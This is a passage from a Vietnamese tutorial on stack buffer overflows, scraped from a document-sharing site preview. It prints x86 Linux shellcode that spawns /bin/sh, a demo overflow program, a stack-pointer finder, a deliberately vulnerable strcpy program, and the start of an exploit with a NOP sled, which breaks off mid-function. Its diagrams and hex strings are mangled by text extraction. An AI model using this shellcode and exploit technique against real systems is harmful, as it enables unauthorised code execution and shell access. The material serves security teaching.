sh-2.04$ exit  
[đt@localhost ~/vicki]$  
Viết tràn bộ đệm  
dụ 1:  
overflow.c  
-----------------------------------------------------------  
-------------------  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x  
b0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x  
40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
char large_string[128];  
void main() {  
char buffer[96];  
int i;  
long *long_ptr = (long *) large_string;  
for (i = 0; i < 32; i++)  
*(long_ptr + i) = (int) buffer;  
for (i = 0; i < strlen(shellcode); i++)  
large_string[i] = shellcode[i];  
strcpy(buffer,large_string);  
}
-----------------------------------------------------------  
-------------------  
[đt@localhost ~/vicki]$ cc -o overflow overflow.c  
[đt@localhost ~/vicki]$ ./overflow  
sh-2.04$ exit  
[đt@localhost ~/vicki]$  
* Giải thích:  
đỉnh của  
đỉnh của  
bộ nhớ  
+--------------+ đáy của  
+----------------+  
|
ret addr  
|
stack  
|
addr(buffer)  
|
bộ nhớ  
+--------------+  
ebp  
+--------------+  
|
|
|
|
addr(buffer)  
...  
addr(buffer)  
addr(buffer)  
|
|
|
|
|
|
|
|
large_string[128]  
|
|
buffer[96] |  
|
|
|
|
|
addr(buffer)  
shellcode  
|
|
|
|
+--------------+  
long_ptr  
|
|
-------------->  
đáy của  
bộ nhớ  
+--------------+ đỉnh của  
+----------------+ đáy  
của  
nhớ  
stack  
bộ  
STACK  
HEAP  
char large_string[128]; //cấp phát một vùng nhớ 128 bytes trên HEAP  
long *long_ptr = (long *) large_string; // cho long_ptr trỏ đến đầu mảng  
large_string[]  
for (i=0; i<32; i++)  
*(long_ptr+i) = (int)buffer; //lắp đầy mảng large_string[] bằng địa chỉ  
của mảng buffer[]  
for (i=0; i<strlen(shellcode); i++)  
large_string[i] = shellcode[i]; //đẩy shellcode vào phần đầu của mảng  
large_string[]  
strcpy(buffer, large_string); //copy large_string vào buffer... làm tràn bộ  
đệm  
Trước hết chúng ta khởi tạo một mảng large_string[] có kích thước lớn  
hơn buffer[] trên HEAP. Tiếp theo lắp đầy large_string[] bằng địa chỉ của  
buffer[]. Shellcode sẽ được gắn vào phần đầu của large_string[]. Khi hàm  
strcpy được thực hiện, sẽ copy large_string vào buffer. Bởi vì  
large_string quá lớn nên nó sẽ ghi đè lên ebp và return addr. Phần trên của  
mảng large_string toàn là địa chỉ của buffer[] - addr(buffer) nên return  
addr sẽ trỏ đến buffer[0]. Mà nằm ngay ở phần đầu của buffer lại chính là  
shellcode(do ta đã copy large_string vào buffer bằng hàm strcpy), nên  
shellcode sẽ được thi hành, nó sẽ đổ ra một shell lệnh.  
dụ 2:  
Để viết tràn bộ đệm, bạn phải biến địa chỉ của buffer trên stack. Thật may  
cho chúng ta là hầu như tất cả các chương trình đều có cùng địa chỉ bắt  
đầu stack. Chúng ta có thể lấy được địa chỉ bắt đầu của stack qua chương  
trình sau:  
sp.c  
-----------------------------------------------------------  
-------------------  
unsigned long get_sp(void) {  
__asm__("movl %esp,%eax");  
}
void main() {  
printf("0x%x\n", get_sp());  
}
-----------------------------------------------------------  
-------------------  
[đt@localhost ~/vicki]$ cc -o sp sp.c  
[đt@localhost ~/vicki]$ ./sp  
0xbffffb07  
[đt@localhost ~/vicki]$  
Giả sử chương trình mà chúng ta cố làm tràn bộ đệm như sau:  
vulnerable.c  
----------------------------------------------  
int main(int argc, char *argv[])  
{
char buffer[500];  
if(argc>=2) strcpy(buffer, argv[1]);  
return 0;  
}
----------------------------------------------  
Đây chương trình exploit.c. exploit sẽ làm tràn bộ đệm của vulnerable  
buộc vulnerable đổ một shell lệnh cho chúng ta.  
exploit.c  
-----------------------------------------------------------  
-------------------  
#include <stdlib.h>  
#define BUFFERSIZE 600  
#define OFFSET 0  
#define NOP 0x90  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x  
b0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x  
40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
unsigned long get_esp(void)  
{
__asm__("movl %esp, %eax");  
Tải về để xem bản đầy đủ
doc 27 trang baolam 09/05/2022 4460
Bạn đang xem 20 trang mẫu của tài liệu "Tìm hiểu đầy đủ về tràn bộ đệm", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

File đính kèm:

  • doctim_hieu_day_du_ve_tran_bo_dem.doc